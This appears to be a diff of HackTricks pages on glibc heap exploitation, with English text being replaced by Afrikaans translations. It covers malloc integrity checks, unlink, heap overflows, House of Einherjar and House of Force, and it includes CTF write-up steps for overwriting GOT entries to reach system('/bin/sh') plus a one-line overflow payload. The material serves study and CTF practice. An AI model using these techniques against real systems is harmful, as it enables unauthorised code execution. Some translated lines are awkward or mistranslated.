- Grootte groter as `MINSIZE` en grootte ook uitgelijn:
- Foutboodskap: `free(): invalid size`
- **Kontroles in `_int_free` tcache:**
- As daar meer inskrywings is as `mp_.tcache_count`:
- Foutboodskap: `free(): too many chunks detected in tcache`
- As die inskrywing nie uitgelijn is nie:
- Foutboodskap: `free(): unaligned chunk detected in tcache 2`
- As die vrygestelde stuk reeds vrygestel is en teenwoordig is as stuk in die tcache:
- Foutboodskap: `free(): double free detected in tcache 2`
- **Kontroles in `_int_free` vinnige bin:**
- As die grootte van die stuk ongeldig is (te groot of te klein) aktiveer:
- Foutboodskap: `free(): invalid next size (fast)`
- As die bygevoegde stuk reeds die top van die vinnige bin was:
- Foutboodskap: `double free or corruption (fasttop)`
- As die grootte van die stuk aan die top 'n ander grootte het as die stuk wat ons byvoeg:
- Foutboodskap: `invalid fastbin entry (free)`
## **`_int_free_merge_chunk`**
- **Checks in `_int_free_merge_chunk`:**
- If the chunk is the top chunk:
- Error message: `double free or corruption (top)`
- If the next chunk is outside of the boundaries of the arena:
- Error message: `double free or corruption (out)`
- If the chunk is not marked as used (in the prev_inuse from the following chunk):
- Error message: `double free or corruption (!prev)`
- If the next chunk has a too little size or too big:
- Error message: `free(): invalid next size (normal)`
- If the previous chunk is not in use, it will try to consolidate. But, if the `prev_size` differs from the size indicated in the previous chunk:
- Error message: `corrupted size vs. prev_size while consolidating`
- **Kontroles in `_int_free_merge_chunk`:**
- As die stuk die top stuk is:
- Foutboodskap: `double free or corruption (top)`
- As die volgende stuk buite die grense van die arena is:
- Foutboodskap: `double free or corruption (out)`
- As die stuk nie gemerk is as gebruik nie (in die prev_inuse van die volgende stuk):
- Foutboodskap: `double free or corruption (!prev)`
- As die volgende stuk 'n te klein of te groot grootte het:
- Foutboodskap: `free(): invalid next size (normal)`
- As die vorige stuk nie in gebruik is nie, sal dit probeer konsolideer. Maar, as die `prev_size` verskil van die grootte aangedui in die vorige stuk:
- Foutboodskap: `corrupted size vs. prev_size while consolidating`
## **`_int_free_create_chunk`**
- **Checks in `_int_free_create_chunk`:**
- Adding a chunk into the unsorted bin, check if `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Error message: `free(): corrupted unsorted chunks`
- **Kontroles in `_int_free_create_chunk`:**
- Voeg 'n stuk by die onsortering bin, kontroleer of `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`:
- Foutboodskap: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
- **Checks in `do_check_malloc_state`:**
- If misaligned fast bin chunk:
- Error message: `do_check_malloc_state(): unaligned fastbin chunk detected`
- **Kontroles in `do_check_malloc_state`:**
- As verkeerd uitgelijnde vinnige bin stuk:
- Foutboodskap: `do_check_malloc_state(): unaligned fastbin chunk detected`
## `malloc_consolidate`
- **Checks in `malloc_consolidate`:**
- If misaligned fast bin chunk:
- Error message: `malloc_consolidate(): unaligned fastbin chunk detected`
- If incorrect fast bin chunk size:
- Error message: `malloc_consolidate(): invalid chunk size`
- **Kontroles in `malloc_consolidate`:**
- As verkeerd uitgelijnde vinnige bin stuk:
- Foutboodskap: `malloc_consolidate(): unaligned fastbin chunk detected`
- As onkorrekte vinnige bin stuk grootte:
- Foutboodskap: `malloc_consolidate(): invalid chunk size`
## `_int_realloc`
- **Checks in `_int_realloc`:**
- Size is too big or too small:
- Error message: `realloc(): invalid old size`
- Size of the next chunk is too big or too small:
- Error message: `realloc(): invalid next size`
- **Kontroles in `_int_realloc`:**
- Grootte is te groot of te klein:
- Foutboodskap: `realloc(): invalid old size`
- Grootte van die volgende stuk is te groot of te klein:
- Foutboodskap: `realloc(): invalid next size`
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,8 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
### Code
### Kode
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -11,73 +10,72 @@
static void
unlink_chunk (mstate av, mchunkptr p)
{
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
if (chunksize (p) != prev_size (next_chunk (p)))
malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
malloc_printerr ("corrupted double-linked list");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
fd->bk = bk;
bk->fd = fd;
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (p->fd_nextsize->bk_nextsize != p
|| p->bk_nextsize->fd_nextsize != p)
malloc_printerr ("corrupted double-linked list (not small)");
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
// Added: If the FD is not in the nextsize list
if (fd->fd_nextsize == NULL)
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
// Link the nexsize list in when removing the new chunk
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize;
}
}
}
```
### Grafiese Verklaring
### Graphical Explanation
Check this great graphical explanation of the unlink process:
Kyk na hierdie wonderlike grafiese verklaring van die unlink-proses:
<figure><img src="../../../images/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
### Security Checks
### Sekuriteitskontroles
- Check if the indicated size of the chunk is the same as the prev_size indicated in the next chunk
- Check also that `P->fd->bk == P` and `P->bk->fw == P`
- If the chunk is not small, check that `P->fd_nextsize->bk_nextsize == P` and `P->bk_nextsize->fd_nextsize == P`
- Kontroleer of die aangeduide grootte van die stuk dieselfde is as die prev_size wat in die volgende stuk aangedui word
- Kontroleer ook dat `P->fd->bk == P` en `P->bk->fw == P`
- As die stuk nie klein is nie, kontroleer dat `P->fd_nextsize->bk_nextsize == P` en `P->bk_nextsize->fd_nextsize == P`
### Leaks
### Leke
An unlinked chunk is not cleaning the allocated addreses, so having access to rad it, it's possible to leak some interesting addresses:
'n Ongekoppelde stuk skoon nie die toegewyde adresse nie, so om toegang te hê om dit te lees, is dit moontlik om 'n paar interessante adresse te lek:
Libc Leaks:
Libc Leke:
- If P is located in the head of the doubly linked list, `bk` will be pointing to `malloc_state` in libc
- If P is located at the end of the doubly linked list, `fd` will be pointing to `malloc_state` in libc
- When the doubly linked list contains only one free chunk, P is in the doubly linked list, and both `fd` and `bk` can leak the address inside `malloc_state`.
- As P in die kop van die dubbelgekoppelde lys geleë is, sal `bk` na `malloc_state` in libc wys
- As P aan die einde van die dubbelgekoppelde lys geleë is, sal `fd` na `malloc_state` in libc wys
- Wanneer die dubbelgekoppelde lys slegs een vrye stuk bevat, is P in die dubbelgekoppelde lys, en beide `fd` en `bk` kan die adres binne `malloc_state` lek.
Heap leaks:
Heap leke:
- If P is located in the head of the doubly linked list, `fd` will be pointing to an available chunk in the heap
- If P is located at the end of the doubly linked list, `bk` will be pointing to an available chunk in the heap
- If P is in the doubly linked list, both `fd` and `bk` will be pointing to an available chunk in the heap
- As P in die kop van die dubbelgekoppelde lys geleë is, sal `fd` na 'n beskikbare stuk in die heap wys
- As P aan die einde van die dubbelgekoppelde lys geleë is, sal `bk` na 'n beskikbare stuk in die heap wys
- As P in die dubbelgekoppelde lys is, sal beide `fd` en `bk` na 'n beskikbare stuk in die heap wys
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,49 +2,47 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
A heap overflow is like a [**stack overflow**](../stack-overflow/) but in the heap. Basically it means that some space was reserved in the heap to store some data and **stored data was bigger than the space reserved.**
'n Heap overflow is soos 'n [**stack overflow**](../stack-overflow/) maar in die heap. Basies beteken dit dat 'n sekere ruimte in die heap gereserveer is om data te stoor en **gestoorde data was groter as die gereserveerde ruimte.**
In stack overflows we know that some registers like the instruction pointer or the stack frame are going to be restored from the stack and it could be possible to abuse this. In case of heap overflows, there **isn't any sensitive information stored by default** in the heap chunk that can be overflowed. However, it could be sensitive information or pointers, so the **criticality** of this vulnerability **depends** on **which data could be overwritten** and how an attacker could abuse this.
In stack overflows weet ons dat sommige registers soos die instruksie-aanwyser of die stack-raam herstel gaan word vanaf die stack en dit kan moontlik misbruik word. In die geval van heap overflows, daar **is geen sensitiewe inligting wat standaard in die heap chunk gestoor word** wat oorgeloop kan word nie. Dit kan egter sensitiewe inligting of aanwysers wees, so die **kritikaliteit** van hierdie kwesbaarheid **hang af** van **watter data oorgeskryf kan word** en hoe 'n aanvaller dit kan misbruik.
> [!TIP]
> In order to find overflow offsets you can use the same patterns as in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
> Om overflow offsets te vind, kan jy dieselfde patrone gebruik soos in [**stack overflows**](../stack-overflow/#finding-stack-overflows-offsets).
### Stack Overflows vs Heap Overflows
In stack overflows the arranging and data that is going to be present in the stack at the moment the vulnerability can be triggered is fairly reliable. This is because the stack is linear, always increasing in colliding memory, in **specific places of the program run the stack memory usually stores similar kind of data** and it has some specific structure with some pointers at the end of the stack part used by each function.
In stack overflows is die rangskikking en data wat teen die tyd teenwoordig gaan wees in die stack wanneer die kwesbaarheid geaktiveer kan word, redelik betroubaar. Dit is omdat die stack lineêr is, altyd toeneem in botsende geheue, in **spesifieke plekke van die program se uitvoering stoor die stack geheue gewoonlik soortgelyke tipe data** en dit het 'n spesifieke struktuur met sommige aanwysers aan die einde van die stack-gedeelte wat deur elke funksie gebruik word.
However, in the case of a heap overflow, the used memory isnt linear but **allocated chunks are usually in separated positions of memory** (not one next to the other) because of **bins and zones** separating allocations by size and because **previous freed memory is used** before allocating new chunks. Its **complicated to know the object that is going to be colliding with the one vulnerable** to a heap overflow. So, when a heap overflow is found, its needed to find a **reliable way to make the desired object to be next in memory** from the one that can be overflowed.
In die geval van 'n heap overflow, is die gebruikte geheue egter nie lineêr nie, maar **toegewyde chunks is gewoonlik in geskeide posisies van geheue** (nie een langs die ander nie) as gevolg van **bins en sone** wat toewysings volgens grootte skei en omdat **vorige vrygemaakte geheue gebruik word** voordat nuwe chunks toegewy word. Dit is **komplikasies om die objek te weet wat gaan bots met die een wat kwesbaar is** vir 'n heap overflow. So, wanneer 'n heap overflow gevind word, is dit nodig om 'n **betroubare manier te vind om die gewenste objek volgende in geheue te maak** van die een wat oorgeloop kan word.
One of the techniques used for this is **Heap Grooming** which is used for example [**in this post**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In the post its explained how when in iOS kernel when a zone run out of memory to store chunks of memory, it expands it by a kernel page, and this page is splitted into chunks of the expected sizes which would be used in order (until iOS version 9.2, then these chunks are used in a randomised way to difficult the exploitation of these attacks).
Een van die tegnieke wat hiervoor gebruik word, is **Heap Grooming** wat byvoorbeeld gebruik word [**in hierdie pos**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). In die pos word verduidelik hoe wanneer in die iOS-kern wanneer 'n sone uit geheue vir die stoor van geheue chunks loop, dit dit uitbrei deur 'n kernbladsy, en hierdie bladsy word in chunks van die verwagte groottes gesplitst wat in volgorde gebruik sou word (tot iOS weergawe 9.2, dan word hierdie chunks op 'n randomiseerde manier gebruik om die uitbuiting van hierdie aanvalle te bemoeilik).
Therefore, in the previous post where a heap overflow is happening, in order to force the overflowed object to be colliding with a victim order, several **`kallocs` are forced by several threads to try to ensure that all the free chunks are filled and that a new page is created**.
Daarom, in die vorige pos waar 'n heap overflow plaasvind, om die oorgeloopde objek te dwing om met 'n slagoffer se volgorde te bots, word verskeie **`kallocs` deur verskeie drade gedwing om te probeer verseker dat al die vrye chunks gevul is en dat 'n nuwe bladsy geskep word**.
In order to force this filling with objects of a specific size, the **out-of-line allocation associated with an iOS mach port** is an ideal candidate. By crafting the size of the message, its possible to exactly specify the size of `kalloc` allocation and when the corresponding mach port is destroyed, the corresponding allocation will be immediately released back to `kfree`.
Om hierdie vul met objek van 'n spesifieke grootte te dwing, is die **out-of-line toewysing geassosieer met 'n iOS mach port** 'n ideale kandidaat. Deur die grootte van die boodskap te vorm, is dit moontlik om die grootte van die `kalloc` toewysing presies te spesifiseer en wanneer die ooreenstemmende mach port vernietig word, sal die ooreenstemmende toewysing onmiddellik teruggegee word aan `kfree`.
Then, some of these placeholders can be **freed**. The **`kalloc.4096` free list releases elements in a last-in-first-out order**, which basically means that if some place holders are freed and the exploit try lo allocate several victim objects while trying to allocate the object vulnerable to overflow, its probable that this object will be followed by a victim object.
Dan kan sommige van hierdie plekhouers **vrygestel** word. Die **`kalloc.4096` vrye lys stel elemente in 'n laaste-in-eerste-uit volgorde vry**, wat basies beteken dat as sommige plekhouers vrygestel word en die uitbuiting probeer om verskeie slagoffer objek te toewys terwyl dit probeer om die objek wat kwesbaar is vir overflow toe te wys, is dit waarskynlik dat hierdie objek gevolg sal word deur 'n slagoffer objek.
### Example libc
### Voorbeeld libc
[**In this page**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) it's possible to find a basic Heap overflow emulation that shows how overwriting the prev in use bit of the next chunk and the position of the prev size it's possible to **consolidate a used chunk** (by making it thing it's unused) and **then allocate it again** being able to overwrite data that is being used in a different pointer also.
[**In hierdie bladsy**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) is dit moontlik om 'n basiese Heap overflow emulering te vind wat wys hoe om die prev in gebruik bit van die volgende chunk en die posisie van die prev grootte te oorskry, is dit moontlik om 'n **gebruikte chunk te konsolideer** (deur dit te laat dink dit is ongebruikte) en **dan dit weer toe te wys** terwyl dit in staat is om data wat in 'n ander aanwyser gebruik word, ook te oorskry.
Another example from [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) shows a very basic example of a CTF where a **heap overflow** can be abused to call the winner function to **get the flag**.
'n Ander voorbeeld van [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) wys 'n baie basiese voorbeeld van 'n CTF waar 'n **heap overflow** misbruik kan word om die wenner funksie aan te roep om **die vlag te kry**.
In the [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) example it's possible to see how abusing a buffer overflow it's possible to **overwrite in a near chunk an address** where **arbitrary data from the user** is going to be written to.
In die [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap1/index.html) voorbeeld is dit moontlik om te sien hoe om 'n buffer overflow te misbruik, is dit moontlik om **in 'n naby chunk 'n adres te oorskry** waar **arbitraire data van die gebruiker** geskryf gaan word.
### Example ARM64
In the page [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) you can find a heap overflow example where a command that is going to be executed is stored in the following chunk from the overflowed chunk. So, it's possible to modify the executed command by overwriting it with an easy exploit such as:
### Voorbeeld ARM64
In die bladsy [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) kan jy 'n heap overflow voorbeeld vind waar 'n opdrag wat uitgevoer gaan word, in die volgende chunk van die oorgeloopde chunk gestoor word. So, dit is moontlik om die uitgevoerde opdrag te verander deur dit te oorskry met 'n maklike uitbuiting soos:
```bash
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
```
### Other examples
### Ander voorbeelde
- [**Auth-or-out. Hack The Box**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/auth-or-out/)
- We use an Integer Overflow vulnerability to get a Heap Overflow.
- We corrupt pointers to a function inside a `struct` of the overflowed chunk to set a function such as `system` and get code execution.
- Ons gebruik 'n Integer Overflow kwesbaarheid om 'n Heap Overflow te verkry.
- Ons korrigeer pointers na 'n funksie binne 'n `struct` van die oorgeloopde stuk om 'n funksie soos `system` in te stel en kode-uitvoering te verkry.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,48 +2,48 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
### Code
### Kode
- Check the example from [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Or the one from [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (you might need to fill the tcache)
- Kyk na die voorbeeld van [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- Of die een van [https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation](https://guyinatuxedo.github.io/42-house_of_einherjar/house_einherjar_exp/index.html#house-of-einherjar-explanation) (jy mag dalk die tcache moet vul)
### Goal
### Doel
- The goal is to allocate memory in almost any specific address.
- Die doel is om geheue in byna enige spesifieke adres toe te ken.
### Requirements
### Vereistes
- Create a fake chunk when we want to allocate a chunk:
- Set pointers to point to itself to bypass sanity checks
- One-byte overflow with a null byte from one chunk to the next one to modify the `PREV_INUSE` flag.
- Indicate in the `prev_size` of the off-by-null abused chunk the difference between itself and the fake chunk
- The fake chunk size must also have been set the same size to bypass sanity checks
- For constructing these chunks, you will need a heap leak.
- Skep 'n valse chunk wanneer ons 'n chunk wil toeken:
- Stel wysers in om na hulself te wys om sanity kontroles te omseil
- Een-byte oorgang met 'n null byte van een chunk na die volgende om die `PREV_INUSE` vlag te verander.
- Dui in die `prev_size` van die off-by-null misbruikte chunk die verskil tussen homself en die valse chunk aan
- Die grootte van die valse chunk moet ook dieselfde grootte wees om sanity kontroles te omseil
- Om hierdie chunks te konstrueer, sal jy 'n heap leak nodig hê.
### Attack
### Aanval
- `A` fake chunk is created inside a chunk controlled by the attacker pointing with `fd` and `bk` to the original chunk to bypass protections
- 2 other chunks (`B` and `C`) are allocated
- Abusing the off by one in the `B` one the `prev in use` bit is cleaned and the `prev_size` data is overwritten with the difference between the place where the `C` chunk is allocated, to the fake `A` chunk generated before
- This `prev_size` and the size in the fake chunk `A` must be the same to bypass checks.
- Then, the tcache is filled
- Then, `C` is freed so it consolidates with the fake chunk `A`
- Then, a new chunk `D` is created which will be starting in the fake `A` chunk and covering `B` chunk
- The house of Einherjar finishes here
- This can be continued with a fast bin attack or Tcache poisoning:
- Free `B` to add it to the fast bin / Tcache
- `B`'s `fd` is overwritten making it point to the target address abusing the `D` chunk (as it contains `B` inside)&#x20;
- Then, 2 mallocs are done and the second one is going to be **allocating the target address**
- `A` valse chunk word binne 'n chunk geskep wat deur die aanvaller beheer word wat met `fd` en `bk` na die oorspronklike chunk wys om beskermings te omseil
- 2 ander chunks (`B` en `C`) word toegeken
- Deur die off by een in die `B` een word die `prev in use` bit skoongemaak en die `prev_size` data word oorgeskryf met die verskil tussen die plek waar die `C` chunk toegeken word, na die valse `A` chunk wat voorheen gegenereer is
- Hierdie `prev_size` en die grootte in die valse chunk `A` moet dieselfde wees om kontroles te omseil.
- Dan word die tcache gevul
- Dan word `C` vrygestel sodat dit saamgevoeg word met die valse chunk `A`
- Dan word 'n nuwe chunk `D` geskep wat in die valse `A` chunk begin en die `B` chunk bedek
- Die huis van Einherjar eindig hier
- Dit kan voortgegaan word met 'n vinnige bin aanval of Tcache vergiftiging:
- Vry `B` om dit by die vinnige bin / Tcache te voeg
- `B`'s `fd` word oorgeskryf sodat dit na die teikenadres wys wat die `D` chunk misbruik (aangesien dit `B` binne bevat)&#x20;
- Dan word 2 mallocs gedoen en die tweede een gaan **die teikenadres toeken**
## References and other examples
## Verwysings en ander voorbeelde
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_einherjar.c)
- **CTF** [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_einherjar/#2016-seccon-tinypad)
- After freeing pointers their aren't nullified, so it's still possible to access their data. Therefore a chunk is placed in the unsorted bin and leaked the pointers it contains (libc leak) and then a new heap is places on the unsorted bin and leaked a heap address from the pointer it gets.
- Na die vrystelling van wysers word hulle nie genullifiseer nie, so dit is steeds moontlik om toegang tot hul data te verkry. Daarom word 'n chunk in die onsorteerde bin geplaas en die wysers wat dit bevat, word geleak (libc leak) en dan word 'n nuwe heap op die onsorteerde bin geplaas en 'n heap adres van die wysers wat dit kry, word geleak.
- [**baby-talk. DiceCTF 2024**](https://7rocky.github.io/en/ctf/other/dicectf/baby-talk/)
- Null-byte overflow bug in `strtok`.
- Use House of Einherjar to get an overlapping chunks situation and finish with Tcache poisoning ti get an arbitrary write primitive.
- Null-byte oorgang fout in `strtok`.
- Gebruik House of Einherjar om 'n oorvleuelende chunks situasie te kry en eindig met Tcache vergiftiging om 'n arbitrêre skrywe primitief te verkry.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,45 +2,43 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Basiese Inligting
### Code
### Kode
- This technique was patched ([**here**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) and produces this error: `malloc(): corrupted top size`
- You can try the [**code from here**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) to test it if you want.
- Hierdie tegniek is reggestel ([**hier**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) en produseer hierdie fout: `malloc(): corrupted top size`
- Jy kan die [**kode van hier**](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html) probeer om dit te toets as jy wil.
### Goal
### Doel
- The goal of this attack is to be able to allocate a chunk in a specific address.
- Die doel van hierdie aanval is om 'n stuk in 'n spesifieke adres te kan toewys.
### Requirements
### Vereistes
- An overflow that allows to overwrite the size of the top chunk header (e.g. -1).
- Be able to control the size of the heap allocation
- 'n Oorloop wat toelaat om die grootte van die top stuk kop te oorskry (bv. -1).
- In staat wees om die grootte van die heap toewysing te beheer.
### Attack
### Aanval
If an attacker wants to allocate a chunk in the address P to overwrite a value here. He starts by overwriting the top chunk size with `-1` (maybe with an overflow). This ensures that malloc won't be using mmap for any allocation as the Top chunk will always have enough space.
Then, calculate the distance between the address of the top chunk and the target space to allocate. This is because a malloc with that size will be performed in order to move the top chunk to that position. This is how the difference/size can be easily calculated:
As 'n aanvaller 'n stuk in die adres P wil toewys om 'n waarde hier te oorskry. Hy begin deur die top stuk grootte met `-1` te oorskry (miskien met 'n oorloop). Dit verseker dat malloc nie mmap vir enige toewysing sal gebruik nie, aangesien die Top stuk altyd genoeg ruimte sal hê.
Bereken dan die afstand tussen die adres van die top stuk en die teikenruimte om toe te wys. Dit is omdat 'n malloc met daardie grootte uitgevoer sal word om die top stuk na daardie posisie te skuif. Dit is hoe die verskil/grootte maklik bereken kan word:
```c
// From https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c#L59C2-L67C5
/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = target - 2sizeof(long) - old_top - 2sizeof(long)
* req = target - old_top - 4*sizeof(long)
*/
```
Daarom, om 'n grootte van `target - old_top - 4*sizeof(long)` toe te ken (die 4 longs is weens die metadata van die top chunk en van die nuwe chunk wanneer dit toegeken word) sal die top chunk na die adres beweeg wat ons wil oorskryf.\
Doen dan nog 'n malloc om 'n chunk by die teikenadres te kry.
Therefore, allocating a size of `target - old_top - 4*sizeof(long)` (the 4 longs are because of the metadata of the top chunk and of the new chunk when allocated) will move the top chunk to the address we want to overwrite.\
Then, do another malloc to get a chunk at the target address.
### References & Other Examples
### Verwysings & Ander Voorbeelde
- [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/)
@ -48,17 +46,17 @@ Then, do another malloc to get a chunk at the target address.
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.27/house_of_force.c)
- [https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html](https://guyinatuxedo.github.io/41-house_of_force/house_force_exp/index.html)
- [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#hitcon-training-lab-11)
- The goal of this scenario is a ret2win where we need to modify the address of a function that is going to be called by the address of the ret2win function
- The binary has an overflow that can be abused to modify the top chunk size, which is modified to -1 or p64(0xffffffffffffffff)
- Then, it's calculated the address to the place where the pointer to overwrite exists, and the difference from the current position of the top chunk to there is alloced with `malloc`
- Finally a new chunk is alloced which will contain this desired target inside which is overwritten by the ret2win function
- Die doel van hierdie scenario is 'n ret2win waar ons die adres van 'n funksie moet verander wat deur die adres van die ret2win funksie aangeroep gaan word
- Die binêre het 'n oorgang wat misbruik kan word om die top chunk grootte te verander, wat verander word na -1 of p64(0xffffffffffffffff)
- Dan word die adres na die plek waar die pointer om oorgeskryf te word bestaan, bereken, en die verskil van die huidige posisie van die top chunk daarheen word met `malloc` toegeken
- Laastens word 'n nuwe chunk toegeken wat hierdie gewenste teiken binne sal bevat wat deur die ret2win funksie oorgeskryf word
- [https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://shift--crops-hatenablog-com.translate.goog/entry/2016/03/21/171249?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
- In the `Input your name:` there is an initial vulnerability that allows to leak an address from the heap
- Then in the `Org:` and `Host:` functionality its possible to fill the 64B of the `s` pointer when asked for the **org name**, which in the stack is followed by the address of v2, which is then followed by the indicated **host name**. As then, strcpy is going to be copying the contents of s to a chunk of size 64B, it's possible to **overwrite the size of the top chunk** with the data put inside the **host name**.
- Now that arbitrary write it possible, the `atoi`'s GOT was overwritten to the address of printf. the it as possible to leak the address of `IO_2_1_stderr` _with_ `%24$p`. And with this libc leak it was possible to overwrite `atoi`'s GOT again with the address to `system` and call it passing as param `/bin/sh`
- An alternative method [proposed in this other writeup](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is to overwrite `free` with `puts`, and then add the address of `atoi@got`, in the pointer that will be later freed so it's leaked and with this leak overwrite again `atoi@got` with `system` and call it with `/bin/sh`.
- In die `Input your name:` is daar 'n aanvanklike kwesbaarheid wat toelaat om 'n adres van die heap te lek
- Dan in die `Org:` en `Host:` funksionaliteit is dit moontlik om die 64B van die `s` pointer te vul wanneer gevra word vir die **org naam**, wat in die stapel gevolg word deur die adres van v2, wat dan gevolg word deur die aangeduide **host naam**. Aangesien strcpy die inhoud van s na 'n chunk van grootte 64B gaan kopieer, is dit moontlik om **die grootte van die top chunk te oorskryf** met die data wat binne die **host naam** geplaas is.
- Nou dat arbitrêre skrywe moontlik is, is die `atoi`'s GOT oorgeskryf na die adres van printf. Dit was moontlik om die adres van `IO_2_1_stderr` _met_ `%24$p` te lek. En met hierdie libc lek was dit moontlik om `atoi`'s GOT weer te oorskryf met die adres na `system` en dit aan te roep met die parameter `/bin/sh`
- 'n Alternatiewe metode [voorstel in hierdie ander skrywe](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house_of_force/#2016-bctf-bcloud), is om `free` met `puts` te oorskryf, en dan die adres van `atoi@got` by te voeg, in die pointer wat later vrygestel sal word sodat dit gelek word en met hierdie lek weer `atoi@got` met `system` oorskryf en dit aanroep met `/bin/sh`.
